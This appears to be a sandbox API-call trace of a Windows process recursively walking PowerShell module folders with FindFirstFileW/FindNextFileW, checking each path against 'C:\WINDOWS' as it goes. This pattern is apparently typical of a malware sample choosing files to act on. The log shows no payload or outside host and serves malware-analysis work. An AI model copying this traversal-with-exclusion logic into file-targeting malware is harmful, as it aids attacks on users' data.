	[0158.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*", lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0158.564] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.564] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1
	[0158.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45fcdf0
	[0158.564] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1") returned 130
	[0158.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0158.565] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.565] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0158.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0158.566] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics") returned 142
	[0158.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*", lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0158.566] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.566] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0158.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0158.566] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple") returned 149
	[0158.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0158.567] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.567] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.567] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.567] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0158.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0158.567] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0158.567] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0158.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0158.567] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1
	[0158.568] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 0
	[0158.568] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0158.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0158.568] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0158.568] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0158.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0158.570] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1
	[0158.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0158.571] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics") returned 124
	[0158.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*", lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0158.571] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.571] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1.1", cAlternateFileName="11D0A5~1.1")) returned 1
	[0158.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45fcdf0
	[0158.571] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1") returned 130
	[0158.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0158.572] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.572] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0158.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0158.573] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics") returned 142
	[0158.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*", lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0158.574] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.574] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0158.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0158.574] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple") returned 149
	[0158.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0158.575] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.671] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.671] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.671] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0158.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0159.054] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0159.054] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0159.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0159.054] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0159.054] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0159.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0159.056] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1
	[0159.056] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1") returned 130
	[0159.056] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1") returned 1
	[0159.056] lstrlenW (lpString="2.0.1") returned 5
	[0159.056] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="2.0.1") returned 1
	[0159.056] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45fcdf0
	[0159.057] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1") returned 130
	[0159.057] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0159.057] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
